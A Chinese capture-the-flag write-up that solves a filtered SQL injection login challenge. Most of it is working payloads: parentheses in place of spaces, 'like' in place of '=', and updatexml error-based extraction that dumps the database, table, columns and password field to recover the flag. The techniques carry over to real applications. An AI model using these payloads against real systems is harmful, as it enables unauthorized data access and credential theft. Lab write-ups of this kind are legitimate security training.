解题思路
打开靶场、熟悉的感觉
上次是过滤了很多字符,用了双写绕过进行注入即可,这次进阶了难度
先老规矩判断下闭合
1'1'
123
报错提示
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' and password='123'' at line 1
跟上次一样了前面的1'消失了,说明单引号被闭合,那么这里报错信息也是自动加了两个单引号,那么username和password的闭合都是单引号
永真登录尝试
1' or 1=1#
1' or 1=1#
明显做了过滤了,然后尝试了很多,union被过滤、by被过滤、=被过滤、空格也被过滤等等
尝试了双写绕过、大小写绕过也是没用的。这里先尝试绕过进行永真登录,=被过滤可以采取like替代,空格使用括号进行绕过
1'or((1)like(1))#
1'or((1)like(1))#
没啥用,没信息,只能回去慢慢注入,这里union被过滤了,联合注入用不了,其他注入什么堆叠,尝试了也不行,难度上升下一个就是盲注了,这里使用的是报错注入
使用updatexml(a,b,c)进行报错,a,c必须为字符,那我们可以让a,c输入数字进行报错
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
123
XPATH syntax error: '~geek~'
这里concat连接内容,0x7e就是波浪线,只是为了方便看输出添加,也可以添加其他字符。
这里可以看到爆出来数据库geek,接下来爆表,记得用括号代替空格,like代替等号即可
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
123
XPATH syntax error: '~H4rDsq1~'
爆出来了H4rDsq1,接下来爆该表的列
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
123
XPATH syntax error: '~id,username,password~'
爆出来了三个列,接下来查数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
123
XPATH syntax error: '~1flagflag{d82fb26e-0f01-42e7-80'
得到了部分的flag,尝试只输出password
1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
XPATH syntax error: '~flag{d82fb26e-0f01-42e7-804f-bd'
还是不够,使用right输出右边的11个字符字符
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,11))))from(H4rDsq1)),0x7e),1))#
123
XPATH syntax error: '~4a701dedc3}~'
然后拼接起来即可获取flag
flag{d82fb26e-0f01-42e7-804f-bd4a701dedc3}
总结
一道进阶到报错注入的一道题,难点在过滤字符上面吧,空格不太容易发现,可能在这里会浪费点时间,其他注入逻辑还是比较基础的。
下面这篇用爆破探测过滤字符的,挺有意思